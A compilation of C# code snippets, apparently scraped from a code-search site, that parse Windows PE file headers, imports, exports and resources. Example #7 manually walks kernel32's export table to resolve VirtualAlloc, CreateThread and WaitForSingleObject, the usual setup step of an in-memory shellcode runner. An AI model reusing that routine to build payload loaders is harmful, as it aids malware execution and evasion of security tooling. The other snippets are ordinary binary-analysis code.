Example #1
0
        private void Init(Stream stream)
        {
            BinaryReader reader = new BinaryReader(stream);

            dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

            // Add 4 bytes to the offset
            stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

            UInt32 ntHeadersSignature = reader.ReadUInt32();

            fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
            if (this.Is32BitHeader)
            {
                optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
            }
            else
            {
                optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
            }

            imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
            {
                imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
            }
        }
Example #2
0
        private void Load(Stream stream)
        {
            BinaryReader reader = new BinaryReader(stream);

            dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader, null);

            // Add 4 bytes to the offset
            stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
            UInt32 ntHeadersSignature = reader.ReadUInt32();

            fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader, null);

            // Read optional header magic to determin 32-bit vs 64-bit
            var optMagic = reader.ReadUInt16();

            _is32bit = (optMagic != IMAGE_NT_OPTIONAL_HDR64_MAGIC);
            var lookahead = new byte[] { (byte)(optMagic >> 8), (byte)(optMagic & 0xff) };

            if (_is32bit)
            {
                optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader, lookahead);
            }
            else
            {
                optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader, lookahead);
            }

            imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
            {
                imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader, null);
            }
        }
Example #3
0
        /// <summary>
        /// Reading from unmanaged memory pointer address.
        /// </summary>
        /// <param name="memPtr"></param>
        /// <param name="index"></param>
        private void Load(IntPtr memPtr, long index)
        {
            var startIndex = index;

            dosHeader = FromMemoryPtr <IMAGE_DOS_HEADER>(memPtr, ref index);
            index     = startIndex + dosHeader.e_lfanew + 4;

            fileHeader = FromMemoryPtr <IMAGE_FILE_HEADER>(memPtr, ref index);

            // See the optiona header magic to determine 32-bit vs 64-bit
            var optMagic = Marshal.ReadInt16(new IntPtr(memPtr.ToInt64() + index));

            _is32bit = (optMagic != IMAGE_NT_OPTIONAL_HDR64_MAGIC);

            if (_is32bit)
            {
                optionalHeader32 = FromMemoryPtr <IMAGE_OPTIONAL_HEADER32>(memPtr, ref index);
            }
            else
            {
                optionalHeader64 = FromMemoryPtr <IMAGE_OPTIONAL_HEADER64>(memPtr, ref index);
            }

            imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
            {
                imageSectionHeaders[headerNo] = FromMemoryPtr <IMAGE_SECTION_HEADER>(memPtr, ref index);
            }
        }
Example #4
0
        public PELoader(byte[] fileBytes)
        {
            // Read in the DLL or EXE and get the timestamp
            using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
                }


                RawBytes = fileBytes;
            }
        }
Example #5
0
        public PeUtility([NotNull] Stream srcStream)
        {
            curFileStream = srcStream ?? throw new ArgumentNullException(nameof(srcStream));

            var reader = new BinaryReader(curFileStream);

            dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

            // Add 4 bytes to the offset
            srcStream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

            var ntHeadersSignature = reader.ReadUInt32();

            fileHeader            = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
            this.fileHeaderOffset = srcStream.Position;
            if (this.Is32BitHeader)
            {
                optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
            }
            else
            {
                optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
            }

            imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
            {
                imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
            }
        }
Example #6
0
    public PeHeaderReader(string filePath)
    {
        // Read in the DLL or EXE and get the timestamp
        using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) {
            BinaryReader reader = new BinaryReader(stream);
            dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

            // Add 4 bytes to the offset
            stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

            UInt32 ntHeadersSignature = reader.ReadUInt32();
            fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
            if (this.Is32BitHeader)
            {
                optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
            }
            else
            {
                optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
            }

            imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
            for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
            {
                imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
            }
        }
    }
Example #7
0
        // Get function addresses
        private static Boolean GetFunctionAddreses(ref IntPtr VirtualAllocAddr, ref IntPtr CreateThreadAddr, ref IntPtr WaitForSingleObjectAddr)
        {
            // Get 'Kernel32.dll' image base address
            IntPtr                 Kernel32BaseAddr = FindKernel32();
            IMAGE_DOS_HEADER       ImageDosHeader   = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(Kernel32BaseAddr, typeof(IMAGE_DOS_HEADER));
            MagicType              Architecture     = (MagicType)Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20));
            IMAGE_EXPORT_DIRECTORY ImageExportDirectory;

            switch (Architecture)
            {
            case MagicType.IMAGE_NT_OPTIONAL_HDR32_MAGIC:
                IMAGE_OPTIONAL_HEADER32 PEHeader32 = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER32));
                ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader32.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY));
                break;

            case MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC:
                IMAGE_OPTIONAL_HEADER64 PEHeader64 = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER64));
                ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader64.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY));
                break;

            default:
                Console.WriteLine("Failed to identify 'kernel32.dll' architecture");
                return(false);
            }
            ;

            // Setup variables for iterating over export table
            int    CurrentFunctionNameAddr;
            String CurrentFunctionName;

            // Iterate over export table
            for (int i = 0; i < ImageExportDirectory.NumberOfNames; i++)
            {
                // Get current function's address (pointer) and name (pointer)
                CurrentFunctionNameAddr = Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfNames + (i * 4)));
                CurrentFunctionName     = Marshal.PtrToStringAnsi((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)CurrentFunctionNameAddr));

                // Check to see if it is the required function
                if (CurrentFunctionName.Equals("VirtualAlloc"))
                {
                    VirtualAllocAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                else if (CurrentFunctionName.Equals("CreateThread"))
                {
                    CreateThreadAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }
                else if (CurrentFunctionName.Equals("WaitForSingleObject"))
                {
                    WaitForSingleObjectAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4))));
                }

                // Return if all functions have been found
                if ((VirtualAllocAddr != IntPtr.Zero) && (CreateThreadAddr != IntPtr.Zero) && (WaitForSingleObjectAddr != IntPtr.Zero))
                {
                    return(true);
                }
            }
            return(false);
        }
Example #8
0
 public PeFile32(IMAGE_DOS_HEADER dosHeader, IMAGE_FILE_HEADER peHeader, IMAGE_OPTIONAL_HEADER32 optionalHeader, IMAGE_EXPORT_DIRECTORY exportDirectory, Dictionary <string, IntPtr> exports)
 {
     this.DosHeader       = dosHeader;
     this.PeHeader        = peHeader;
     this.OptionalHeader  = optionalHeader;
     this.ExportDirectory = exportDirectory;
     Exports = exports;
 }
Example #9
0
        private void ParseOptionalHeader(IMAGE_OPTIONAL_HEADER32 optHeader)
        {
            LogStructure(optHeader);

            /*for (uint i = 0; i < optHeader.NumberOfRvaAndSizes; ++i)
             *  ParseDataDirectory(optHeader.DataDirectory[i], i);*/
            for (uint i = 0; i < FileHeader.NumberOfSections; ++i)
            {
                ParseImageSectionHeader();
            }
        }
Example #10
0
        public PEReader(string filePath)
        {
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader       = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
                optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
            }
        }
Example #11
0
        public bool IsPE(string fileName)
        {
            using (var stream = new FileStream(fileName, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                var reader = new BinaryReader(stream);

                var peHeader = reader.ReadBytes(2);

                // PE Header is less than the minimum
                if (peHeader.Length < 2)
                {
                    return(false);
                }

                // Check the first two bytes to rule out anything not DLL, EXE, SYS etc
                if (peHeader[0] != (byte)'M' && peHeader[1] != (byte)'Z')
                {
                    return(false);
                }

                reader.BaseStream.Seek(0, SeekOrigin.Begin);

                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                var ntHeadersSignature = reader.ReadUInt32();

                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);

                if (Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }

                imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];

                for (var headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
                {
                    imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
                }

                return(true);
            }
        }
Example #12
0
            public static PE32OptionalHeader FromNativeStruct(IMAGE_OPTIONAL_HEADER32 nativeStruct)
            {
                PE32DataDirectory[] directories = nativeStruct.DataDirectory.Select(PE32DataDirectory.FromNativeStruct).ToArray();

                return(new PE32OptionalHeader
                {
                    Magic = nativeStruct.Magic,
                    MajorLinkerVersion = nativeStruct.MajorLinkerVersion,
                    MinorLinkerVersion = nativeStruct.MinorLinkerVersion,
                    SizeOfCode = nativeStruct.SizeOfCode,
                    SizeOfInitializedData = nativeStruct.SizeOfInitializedData,
                    SizeOfUninitializedData = nativeStruct.SizeOfUninitializedData,
                    AddressOfEntryPoint = nativeStruct.AddressOfEntryPoint,
                    BaseOfCode = nativeStruct.BaseOfCode,
                    BaseOfData = nativeStruct.BaseOfData,
                    ImageBase = nativeStruct.ImageBase,
                    SectionAlignment = nativeStruct.SectionAlignment,
                    FileAlignment = nativeStruct.FileAlignment,
                    MajorOperatingSystemVersion = nativeStruct.MajorOperatingSystemVersion,
                    MinorOperatingSystemVersion = nativeStruct.MinorOperatingSystemVersion,
                    MajorImageVersion = nativeStruct.MajorImageVersion,
                    MinorImageVersion = nativeStruct.MinorImageVersion,
                    MajorSubsystemVersion = nativeStruct.MajorSubsystemVersion,
                    MinorSubsystemVersion = nativeStruct.MinorSubsystemVersion,
                    Win32VersionValue = nativeStruct.Win32VersionValue,
                    SizeOfImage = nativeStruct.SizeOfImage,
                    SizeOfHeaders = nativeStruct.SizeOfHeaders,
                    CheckSum = nativeStruct.CheckSum,
                    Subsystem = nativeStruct.Subsystem,
                    DllCharacteristics = nativeStruct.DllCharacteristics,
                    SizeOfStackReserve = nativeStruct.SizeOfStackReserve,
                    SizeOfStackCommit = nativeStruct.SizeOfStackCommit,
                    SizeOfHeapReserve = nativeStruct.SizeOfHeapReserve,
                    SizeOfHeapCommit = nativeStruct.SizeOfHeapCommit,
                    LoaderFlags = nativeStruct.LoaderFlags,
                    NumberOfRvaAndSizes = nativeStruct.NumberOfRvaAndSizes,
                    DataDirectory = directories
                });
            }
Example #13
0
        public PeHeaderReader(string filePath)
        {
            // Read in the DLL or EXE and get the timestamp
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                uint ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
                if (Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }
            }
        }
Example #14
0
        public PEFinder(string filePath, string dllName, string APIName)
        {
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);

                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }

                ImageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
                for (int i = 0; i < fileHeader.NumberOfSections; i++)
                {
                    ImageSectionHeaders[i] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
                }

                var IMAGE_DIRECTORY_ENTRY_IMPORT = 1;

                var VAImageDir = this.optionalHeader32.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
                var IATSection = -1;

                for (int i = 0; i < fileHeader.NumberOfSections; i++)
                {
                    if (ImageSectionHeaders[i].VirtualAddress <= VAImageDir &&
                        ImageSectionHeaders[i].VirtualAddress +
                        ImageSectionHeaders[i].SizeOfRawData > VAImageDir)
                    {
                        IATSection = i;
                        break;
                    }
                }

                if (IATSection != -1)
                {
                    var section = ImageSectionHeaders[IATSection];
                    reader.BaseStream.Position = (VAImageDir - section.VirtualAddress) + section.PointerToRawData;
                    var pImportDescriptor = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader);

                    while (pImportDescriptor.FirstThunk != 0)
                    {
                        var nextID = reader.BaseStream.Position;

                        reader.BaseStream.Position = (pImportDescriptor.Name - section.VirtualAddress) + section.PointerToRawData;
                        var name = new string(reader.ReadChars(dllName.Length));
                        if (name.ToLower() == dllName.ToLower())
                        {
                            reader.BaseStream.Position = (pImportDescriptor.FirstThunk - section.VirtualAddress) + section.PointerToRawData;
                            var AddressOfData = reader.ReadUInt32();
                            var Offset        = 0;
                            while (AddressOfData != 0)
                            {
                                var nextI = reader.BaseStream.Position;
                                reader.BaseStream.Position = (AddressOfData - section.VirtualAddress) + section.PointerToRawData;
                                ushort hint     = reader.ReadUInt16();
                                var    tempName = new string(reader.ReadChars(APIName.Length));
                                if (APIName.ToLower() == tempName.ToLower())
                                {
                                    SearchedAddress = (uint)((pImportDescriptor.FirstThunk - section.VirtualAddress) + section.VirtualAddress + this.OptionalHeader32.ImageBase + Offset);
                                    return;
                                }
                                Offset += 4;
                                reader.BaseStream.Position = nextI;
                                AddressOfData = reader.ReadUInt32();
                            }
                        }

                        reader.BaseStream.Position = nextID;
                        pImportDescriptor          = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader);
                    }
                }
            }
        }
Example #15
0
        public PESupport(string LibraryName)
        {
            Debug.Assert(LibraryName != null);

            this.LibraryName = LibraryName;

            hLibrary = IntPtr.Zero;
            IntPtr original_hLibrary = LoadLibraryEx(this.LibraryName, IntPtr.Zero, LoadLibraryFlags.DONT_RESOLVE_DLL_REFERENCES); // access violations occur with LOAD_LIBRARY_AS_DATAFILE, but don't with DONT_RESOLVE_DLL_REFERENCES for some reason

            hLibrary = new IntPtr(original_hLibrary.ToInt32() - original_hLibrary.ToInt32() % 4);                                  // adjust things to a DWORD boundary


            int error = Marshal.GetLastWin32Error();

            if (hLibrary == null && error != 0)
            {
                throw new System.ApplicationException("Got error " + error + " when loading library " + LibraryName);
            }

            // do some sanity checking
            dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(hLibrary, typeof(IMAGE_DOS_HEADER));
            if (!dosHeader.isValid)
            {
                throw new System.ApplicationException("Library does not appear to be a valid DOS file!");
            }

            ntHeader = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(hLibrary + dosHeader.e_lfanew, typeof(IMAGE_NT_HEADERS32));
            if (!ntHeader.isValid)
            {
                throw new System.ApplicationException("Library NT Header does not appear valid!");
            }

            fileHeader = ntHeader.FileHeader;
            if (fileHeader.Machine != (UInt16)(MachineType.I386))
            {
                throw new System.ApplicationException("Library appears to be compiled for x64 while this program only supports x86 libraries.");
            }
            optionalHeader = ntHeader.OptionalHeader;

            exports = new Dictionary <int, List <string> >();

            // if we don't have an export directory, move on
            if (optionalHeader.ExportTable.VirtualAddress == 0 || optionalHeader.ExportTable.Size == 0)
            {
                FreeLibrary(original_hLibrary);
                return;
            }

            // initialise the export header
            exportHeader = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(hLibrary + (int)optionalHeader.ExportTable.VirtualAddress, typeof(IMAGE_EXPORT_DIRECTORY));

            for (int i = 0; i < exportHeader.NumberOfNames; i++)
            {
                // grab the pointer to the next entry in the string table. In C, this would be a char*
                IntPtr namePtr = (IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfNames) + (4 * i), typeof(IntPtr));

                // dereference the previous char*
                string name;
                try
                {
                    name = Marshal.PtrToStringAnsi(hLibrary + namePtr.ToInt32());
                }
                catch (Exception ex)
                {
                    name = "";
                    Console.WriteLine(ex.StackTrace);
                }

                // grab the address for this function
                int address = ((IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfFunctions) + 4 * i, typeof(IntPtr))).ToInt32();
                address += (int)optionalHeader.ImageBase;

                if (exports.ContainsKey(address))
                {
                    exports[address].Add(name);
                }
                else
                {
                    exports[address] = new List <string>();
                    exports[address].Add(name);
                }
            }


            FreeLibrary(original_hLibrary);
        }
Example #16
0
 internal OptionalHeader32(PortableExecutableImage image, IMAGE_OPTIONAL_HEADER32 optHeader, ulong headerOffset, ulong imageBase, ushort magic) : base(image, headerOffset, OptionalHeader.Size32.ToUInt32(), imageBase, magic)
 {
     _header = optHeader;
 }
Example #17
0
        public PEReader(string filePath)
        {
            // Read in the DLL or EXE and get the timestamp
            using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                BinaryReader reader = new BinaryReader(stream);
                dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader);

                // Add 4 bytes to the offset
                stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

                UInt32 ntHeadersSignature = reader.ReadUInt32();
                fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader);
                if (this.Is32BitHeader)
                {
                    optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader);
                }
                else
                {
                    optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader);
                }

                // image data directory
                int numberOfRvaAndSizes = (int)((this.Is32BitHeader) ? optionalHeader32.NumberOfRvaAndSizes : optionalHeader64.NumberOfRvaAndSizes);
                imageDataDirectory = new IMAGE_DATA_DIRECTORY[numberOfRvaAndSizes];

                for (int i = 0; i < numberOfRvaAndSizes; i++)
                {
                    IMAGE_DATA_DIRECTORY direc = FromBinaryReader <IMAGE_DATA_DIRECTORY>(reader);
                    imageDataDirectory[i] = direc;
                }

                // image section header, optionalHeader offset 18h = 24
                uint optionSize = fileHeader.SizeOfOptionalHeader;
                stream.Seek(dosHeader.e_lfanew + 24 + optionSize, SeekOrigin.Begin);

                imageSectionHeader = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections];
                for (int i = 0; i < FileHeader.NumberOfSections; i++)
                {
                    IMAGE_SECTION_HEADER sectionHeader = FromBinaryReader <IMAGE_SECTION_HEADER>(reader);
                    imageSectionHeader[i] = sectionHeader;
                }

                // read resource
                IMAGE_DATA_DIRECTORY resourceDataDirectory = imageDataDirectory[2];
                uint resDataRVA  = resourceDataDirectory.VirtualAddress;
                uint resDataSize = resourceDataDirectory.Size;
                uint resEndRVA   = resDataRVA + resDataSize;
                resource_offset      = 0;
                resource_rva         = 0;
                resource_rawDataSize = 0;
                foreach (IMAGE_SECTION_HEADER sectionHeader in imageSectionHeader)
                {
                    uint secRVA    = sectionHeader.VirtualAddress;
                    uint secEndRVA = secRVA + sectionHeader.SizeOfRawData;
                    if (secRVA <= resDataRVA && resEndRVA > secRVA && secEndRVA >= resEndRVA)
                    {
                        resource_offset      = sectionHeader.PointerToRawData;
                        resource_rva         = secRVA;
                        resource_rawDataSize = sectionHeader.SizeOfRawData;
                    }
                }

                if (resource_offset == 0)
                {
                    ResourceEntry_ALL = new PEResourceEntries[0];
                }
                else
                {
                    stream.Seek(resource_offset, SeekOrigin.Begin);

                    // resource level 1
                    IMAGE_RESOURCE_DIRECTORY d1 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader);
                    int entriesCount1           = d1.NumberOfIdEntries + d1.NumberOfNamedEntries;
                    IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries1 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount1];
                    ResourceEntry_ALL = new PEResourceEntries[entriesCount1];
                    for (int i = 0; i < entriesCount1; i++)
                    {
                        IMAGE_RESOURCE_DIRECTORY_ENTRY entry = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader);
                        entries1[i] = entry;
                    }

                    for (int i = 0; i < entriesCount1; i++)
                    {
                        IMAGE_RESOURCE_DIRECTORY_ENTRY entry = entries1[i];
                        PEResourceEntries resEntries         = new PEResourceEntries();
                        resEntries.level1Entry       = entry;
                        resEntries.level2Map3Entries = new Hashtable();
                        resEntries.level3DATA        = new Hashtable();

                        // level 2
                        // type
                        long offset_2 = resource_offset + entry.OffsetToData_l;
                        stream.Seek(offset_2, SeekOrigin.Begin);
                        if (PEUtil.ConvertIntToBin((int)entry.OffsetToData_h).StartsWith("1"))
                        {
                            IMAGE_RESOURCE_DIRECTORY d2 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader);
                            int entriesCount2           = d2.NumberOfIdEntries + d2.NumberOfNamedEntries;
                            IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries2 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount2];
                            for (int ii = 0; ii < entriesCount2; ii++)
                            {
                                IMAGE_RESOURCE_DIRECTORY_ENTRY entry2 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader);
                                entries2[ii] = entry2;
                            }
                            resEntries.level2Entries = entries2;

                            // level 3
                            for (int j = 0; j < entriesCount2; j++)
                            {
                                IMAGE_RESOURCE_DIRECTORY_ENTRY entry2 = entries2[j];
                                // type
                                long offset_3 = resource_offset + entry2.OffsetToData_l;
                                stream.Seek(offset_3, SeekOrigin.Begin);

                                IMAGE_RESOURCE_DIRECTORY d3 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY>(reader);
                                int entriesCount3           = d3.NumberOfIdEntries + d3.NumberOfNamedEntries;
                                IMAGE_RESOURCE_DIRECTORY_ENTRY[] entries3 = new IMAGE_RESOURCE_DIRECTORY_ENTRY[entriesCount3];
                                for (int k = 0; k < entriesCount3; k++)
                                {
                                    IMAGE_RESOURCE_DIRECTORY_ENTRY entry3 = FromBinaryReader <IMAGE_RESOURCE_DIRECTORY_ENTRY>(reader);
                                    entries3[k] = entry3;

                                    long offset_4 = resource_offset + entry3.OffsetToData_l;
                                    stream.Seek(offset_4, SeekOrigin.Begin);
                                    IMAGE_RESOURCE_DATA_ENTRY dataEntry = FromBinaryReader <IMAGE_RESOURCE_DATA_ENTRY>(reader);

                                    if (!resEntries.level3DATA.ContainsKey(entry3))
                                    {
                                        resEntries.level3DATA.Add(entry3, dataEntry);
                                    }
                                }
                                resEntries.level2Map3Entries.Add(entry2, entries3);
                            }
                        }
                        else
                        {
                            throw new Exception("Resource level 2 OffsetToData_h can not start with 0");
                            //                        IMAGE_RESOURCE_DATA_ENTRY dataEntry = FromBinaryReader<IMAGE_RESOURCE_DATA_ENTRY>(reader);
                        }

                        ResourceEntry_ALL[i] = resEntries;
                    }
                }
            }
        }
Example #18
0
        private async Task LoadAsync()
        {
            if (!_stream.CanSeek)
            {
                throw new PortableExecutableImageException(this, "Cannot seek in stream.");
            }

            if (!_stream.CanRead)
            {
                throw new PortableExecutableImageException(this, "Cannot read from stream.");
            }

            IMAGE_DOS_HEADER dosHeader;

            try
            {
                dosHeader = await _stream.ReadStructAsync <IMAGE_DOS_HEADER>(DOSHeader.Size).ConfigureAwait(false);
            }
            catch (Exception ex)
            {
                throw new PortableExecutableImageException(this, "Cannot read DOS header from stream.", ex);
            }

            if (dosHeader.e_magic != DOSHeader.DOS_MAGIC_MZ)
            {
                throw new PortableExecutableImageException(this, "Incorrect magic number specified in DOS header.");
            }

            if (dosHeader.e_lfanew == 0)
            {
                throw new PortableExecutableImageException(this, "No new header location specified in DOS header, most likely a 16-bit executable.");
            }

            if (dosHeader.e_lfanew >= (256 * (1024 * 1024)))
            {
                throw new PortableExecutableImageException(this, "New header location specified in MS-DOS header is beyond 256mb boundary (see RtlImageNtHeaderEx).");
            }

            if (dosHeader.e_lfanew % 4 != 0)
            {
                throw new PortableExecutableImageException(this, "New header location specified in MS-DOS header is not properly aligned.");
            }

            if (dosHeader.e_lfanew < DOSHeader.Size)
            {
                throw new PortableExecutableImageException(this, "New header location specified is invalid.");
            }

            var stubOffset = DOSHeader.Size;
            var stubSize   = dosHeader.e_lfanew - DOSHeader.Size;
            var stubRead   = await _stream.SkipBytesAsync(stubSize).ConfigureAwait(false);

            if (stubRead < stubSize)
            {
                throw new PortableExecutableImageException(this, "Could not read DOS stub from stream.");
            }

            _stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);

            var  ntOffset = _stream.Position;
            uint peSig;

            try
            {
                peSig = await _stream.ReadUInt32Async().ConfigureAwait(false);
            }
            catch (Exception ex)
            {
                throw new PortableExecutableImageException(this, "Could not read PE signature from stream.", ex);
            }

            if (peSig != NTHeaders.PE_MAGIC_MZ)
            {
                throw new PortableExecutableImageException(this, "Incorrect PE signature found in NT Header.");
            }

            IMAGE_FILE_HEADER fileHdr;

            try
            {
                fileHdr = await _stream.ReadStructAsync <IMAGE_FILE_HEADER>(FileHeader.Size).ConfigureAwait(false);
            }
            catch (Exception ex)
            {
